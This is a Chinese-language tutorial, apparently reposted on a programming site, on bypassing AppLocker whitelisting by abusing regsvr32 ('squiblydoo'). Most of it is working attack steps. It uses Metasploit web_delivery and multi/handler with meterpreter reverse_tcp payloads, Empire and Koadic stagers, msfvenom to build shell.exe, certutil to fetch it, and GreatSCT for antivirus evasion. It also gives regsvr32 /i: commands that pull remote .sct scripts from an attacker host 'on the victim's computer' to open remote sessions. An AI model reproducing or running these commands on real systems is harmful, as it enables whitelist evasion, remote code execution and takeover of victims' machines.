通过regsrv32.exe绕过Applocker应用程序白名单的多种方法

栏目: 编程工具 · 发布时间: 7年前

内容简介:在大型组织的安全领域中,AppLocker正在扮演越来越重要的角色。应用AppLocker规则可以显著降低企业的安全风险,AppLocker规则可以应用于目标应用,这些规则也是构成AppLocker策略的基本组件。AppLocker规则介绍AppLocker控制台以规则集合作为组织单元,这些集合包括可执行文件、脚本、Windows安装文件、封装的应用和应用安装包以及DLL文件。这些规则可以让我们轻松区分开不同类型的应用。

在大型组织的安全领域中,AppLocker正在扮演越来越重要的角色。应用AppLocker规则可以显著降低企业的安全风险,AppLocker规则可以应用于目标应用,这些规则也是构成AppLocker策略的基本组件。

AppLocker规则介绍

规则集合(Rule Collection)

AppLocker控制台以规则集合作为组织单元,这些集合包括可执行文件、脚本、Windows安装文件、封装的应用和应用安装包以及DLL文件。这些规则可以让我们轻松区分开不同类型的应用。

规则条件(Rule Condition)

规则条件可以帮助AppLocker识别哪些应用对应哪些规则。三个主要的规则条件分别为应用发布者、路径以及文件哈希。

文件路径条件

以应用在系统中的路径作为识别依据;

文件发布者条件

以应用的属性或者数字签名作为识别依据;

文件哈希条件

以应用的哈希值作为识别依据;

看似这些强大的规则让黑客攻击无处遁形,但不幸的是,对于防御者来说,除了默认规则以外,AppLocker还涉及到许多自定义配置,而黑客正是利用这些配置作为突破口的。本文将介绍通过 regsrv32.exe绕过Applocker应用程序白名单的多种方法。

Regsvr32介绍

Regsvr32全称是Microsoft Register Server。它是windows的命令行实用工具。虽然regsvr32有时会引起一些莫名其妙的问题,但作为Windows系统文件,它仍是一个重要的文件。该文件位于C:\Windows的子文件夹中,该文件能够观察、跟踪和影响其他程序。由于它是.exe格式,所以主要被用于在Windows文件扩展名中注册和注销程序,它的进程可以广泛地协助OLE(对象链接和嵌入),DLL(数据链接库)和OCX(ActiveX控件模块)。上述流程在后台工作,可以通过任务管理器查看。终止,它是微软最受信任的文件之一。

regsvr32工作原理

当你在regsvr32中注册DLL文件时,与regsvr32关联的程序的信息将添加到Windows中。然后访问这些信息,以了解程序数据的位置以及如何与程序数据进行交互。在注册DLL文件时,信息会被添加到目录的中央,以便windows可以使用它。这些文件的整个路径都有可执行代码,由于这些文件,windows可以调用特定的函数。这些文件非常方便,当软件更新时,这些文件会自动调用更新后的版本。简而言之,它有助于避免软件的版本问题。通常,除了注册和注销DLL文件外,通常不使用此文件。

RegSvr32.exe具有以下命令行选项:

语法:Regsvr32 [/s][/u] [/n] [/i[:cmdline]] <dllname>

·/u:注销服务器;

· /i:调用DllInstall传递一个可选的[cmdline],当它与/u一起使用时,它会调用dll uninstall。

· /n:不要调用DllRegisterServer,此选项必须与/i一起使用

· / s :沉默,不显示消息框;

要了解更多信息,请访问 这里

Web传递(Web Delivery) 

此模块会快速启动一个提供有效载荷的web服务器,所提供的命令将允许下载和执行有效载荷。它将通过指定的脚本语言解释器或通过regsvr32.exe的“squiblydoo”来绕过应用程序白名单。该模块的主要目的是当攻击者不得不手动输入命令时,在目标设备上快速建立会话,例如命令注入。

Regsvr32使用“squiblydoo”技术来绕过应用程序白名单,签名的Microsoft二进制文件Regsvr32能够请求.sct文件,然后在其中执行包含的PowerShell命令。两个web请求(即, .sct文件和PowerShell下载或执行)都可以发生在同一个端口上。PSH(Binary)”会将文件写入磁盘,允许自定义二进制文件被下载或执行。

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payload php/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

一旦使用这些文本开始运行漏洞,你将拥有一个为自定义的URL,就可以在受害者电脑的命令提示符中运行该URL。

regsvr32 /s /n /u /i://192.168.1.109:8080/xo31Jt5dIF.sct scrobj.dll

在命令执行后按回车键,就将进行会话。输入“sysinfo”以获取目标电脑的信息。

PowerShell Empire

Empire是一款类似Metasploit的渗透测试框架,基于 python 编写,Empire是一个纯粹的PowerShell后开发代理,建立在密码安全通信和灵活的架构上。Empire实现了无需powershell.exe即可运行PowerShell代理的功能,从键盘记录器到Mimikatz等快速部署的后期开发模块,以及适应性通信以避开网络检测,所有这些都包含在以可用性为重点的框架中。

在PowerShell Empire方法中,我们必须将.sct tacks与Metasploit配对,但是在这种方法中,我们将使用Empire框架。它完全基于python的PowerShell windows代理,这使得它非常有用。

如下所示,启动Empire框架后,输入listener命令,以检查是否存在反侦查进程。

uselistner http
set Host //192.168.1.109
execute

使用上述命令,你将拥有一个反侦查进程。输入back命令,就可以退出反侦查进程,以便启动PowerShell。

一旦你退出listener命令,就需要使用一个漏洞来创建恶意文件。在Empire中,stage代表一段代码,它允许我们的恶意代码通过受感染的主机上的代理运行。这意味着要创建一个漏洞,我们将不得不通过usestager。命令如下:

usestager windows/launcher_sct
set listener http
execute

执行命令后,usestager将在/ tmp中创建一个launcher.sct。现在要获得会话,就必须通过输入以下内容来启动python服务器:

python -m SimpleHTTPServer 8080

当服务器启动时,剩下的唯一步骤就是在受害者的电脑中执行我们的恶意软件。此时,就要在命令提示符中输入以下命令:

regsvr / s / n / u /i://192.168.1.109:8080/tmp/launcher.sct scrobj.dll

在上面的命令中,我们使用了端口8080,这是因为我们的python服务器在同一个端口上被激活。

执行上述操作后,你将收到一个会话:

interact 9ATUX4M7

9ATUX4M7只是一个代理或会话名称,这将因会话内容而异。

在sct文件中注入PowerShell代码(手动方法)

该方法必须利用一个漏洞才能实现,使用的漏洞会帮助我们创建powershell代码,现在就让我们首先创建powershell吧!

运行此漏洞后,将在终端屏幕上显示powershell代码,如下所示:

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 2
msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp
msf exploit (web_delivery)> set lhost 192.168.1.109
msf exploit (web_delivery)>set srvhost 192.168.1.109
msf exploit (web_delivery)>exploit

由于Regsvr32是一个命令行实用程序,用于注册和注销OLE控件,比如Windows注册表中的dll和ActiveX控件。Regsvr32.exe安装在Windows XP及更高版本的Windows的%systemroot%\ System32文件夹中。

现在我们需要创建一个.sct文件,以便我们的攻击能够运行。为此,我们在 网上 找到了一个脚本来创建.sct文件。

复制由web_delivery创建的PowerShell代码并将其粘贴到上面的脚本中,其中显示“calc.exe”,最后使用.sct扩展名保存。

然后像之前一样,运行以下命令,在受害者的电脑上用regsvr32.exe执行.sct文件:

regsvr32 / u / n / s /i://192.168.1.109/1.sct scrobj.dll

执行上述命令后,你将通过web_delivery进行会话。我们要访问会话类型“sessions 1”和“info”才能获取有关系统的基本信息。

MsfVenom

现在,我们讲的是使用msfvenom。Msfvenom是Metasploit的命令行实例,用于生成和输出Metasploit中提供的所有各种类型的shellcode。通过这种方法,我们将创建两个.sct文件,一个用于下载我们的恶意软件,另一个用于执行它。首先,让我们输入以下msfvenom命令:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

然后,使用以下命令启动python服务器。

python -m SimpleHTTPServer 80

同时,在前一个方法中使用的同一脚本中,我们是通过注入certutil.exe命令以从远程服务器调用shell.exe文件。因此,使用 “calc .exe”编写以下脚本并使用.sct扩展名再次保存文件:

certutil.exe -urlcache -split -f //192.168.1.109/shell.exe

我们在这里使用了certutil,因为它允许在Windows中下载文件并将文件保存为3.sct。

现在,使用以下命令运行上面的脚本:

regsvr32 / u / n / s /i:http;//192.168.1.109/3.sct scrobj.dll

此时,我们将创建另一个文件来执行我们以前的文件“shell.exe”。为此,再次使用 “calc .exe”编写脚本:

cmd /k cd c:\Users\raj & shell.exe

我们已将脚本保存为4.sct,并使用以下命令再次运行此脚本:

regsvr32 / u / n / s /i:http;//192.168.1.109/4.sct scrobj.dll

同时,启动多处理程序,以获得会话。输入命令如下所示:

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

在受害者的电脑中运行该命令后,就将进行一个meterpreter会话。

什么是Meterpreter

Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开 shell 、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它会非常困难。

另外,Meterpreter还可以简化任务创建多个会话。

Koadic

koadic是DEFCON黑客大会上分享出来的的一个后渗透工具,虽然和其他渗透测试工具,如Meterpreter和Powershell Empire有些相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进行大部分的操作,其核心兼容性支持Windows2000到Window 10的环境中使用,Koadic也试图兼容Python 2和Python 3。

要了解更多关于Koadic的信息,请点此 链接 阅读。

koadic启动并运行后,输入以下命令:

use stager/js/regsvr
set srvhost 192.168.1.107
run

攻击者与目标设备中Meterpreter的通信是通过Stager套接字实现的meterpreter作为后渗透模块有多种类型,并且命令由核心命令和扩展库命令组成。Stager这种载荷负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stagers Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信。

然后,在受害者电脑的命令提示符中输入以下内容。

regsvr32 / u / n / s /i:http;//192.168.1.107:9998/uWBjv scrobj.dll

运行上述命令后,你将拥有一个会话,内容如下:

zombies 0

JSRat

JSRAT是一个由Python编写的脚本,它可以实现对远程PC的shell管理,下载地址请 点此 。这是一个非常小的命令和控制框架,就像koadic和Powershell Empire一样,不过它仅为rundll32.exe和regsvr32.exe生成恶意任务。 JSRat创建了一个Web服务器后,在该Web服务器上,我们就可以找到.sct文件。输入命令如下:

./JSRat.py -I 192.168.1.107 -p 4444

运行上述命令后,Web服务器就将启动。

在浏览器中打开它,此时,你将找到需要在受害者的PC上运行的.sct文件。

GreatSCT

借助GreatSCT这样一个工具,我们不仅可以使用me tasploit的漏洞利用代码,并且还能对其进行免杀处理,以绕过大多数防病毒程序。目前,GreatSCT是由@_ConsciousHacker.进行维护的,你可以 点此 下载。 

下载运行后,输入以下命令以访问模块:

下载并运行该软件后,可以通过以下命令来访问各个功能模块:

use Bypass

通过regsrv32.exe绕过Applocker应用程序白名单的多种方法

然后输入“list” 命令,以获取模块列表。

通过regsrv32.exe绕过Applocker应用程序白名单的多种方法

然后,从模块列表中选择以下命令:

use regsvr/shellcode_iject/base64_migrate.py
generate

完成上述命令后,输入1选择MSFVenom。

然后它会询问你的有效载荷,此时,你只需按Enter即可将windows/meterpreter/reverse_tcp作为默认有效载荷,而这就是我们需要的载荷。在像这样提供IP之后,我们已经给出了192.168.1.107和给定的端口,此时,我们将lport命名为2345。

在得到详细信息后,它会询问你恶意软件的名称。默认情况下,设置名称都是“payload”,以便你可以给出名称或只按回车键以进行默认设置。

按回车键后,它将生成两个文件。其中一个将是资源文件,另一个是.sct文件。

现在,先通过输入以下命令启动/usr/share/greatsct-output中的python服务器:

python -m SimpleHTTPServer 80

现在,在受害者设备的运行窗口中执行.sct文件,如下所示。

通过regsrv32.exe绕过Applocker应用程序白名单的多种方法

同时,使用资源文件启动multi / handler。输入命令如下所示:

msfconsole -r /usr/share/greatsct-output/handlers/payload.rc

此时,你可以获得了一个Meterpreter会话。

通过regsrv32.exe绕过Applocker应用程序白名单的多种方法

总结

使用regsvr32获取会话是一种非常复杂且另辟蹊径的方式,因此,上述方法要使用到不同的 工具 和软件,以允许我们完成此攻击。


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

How to Build a Billion Dollar App

How to Build a Billion Dollar App

George Berkowski / Little, Brown Book Group / 2015-4-1 / USD 24.95

Apps have changed the way we communicate, shop, play, interact and travel and their phenomenal popularity has presented possibly the biggest business opportunity in history. In How to Build a Billi......一起来看看 《How to Build a Billion Dollar App》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具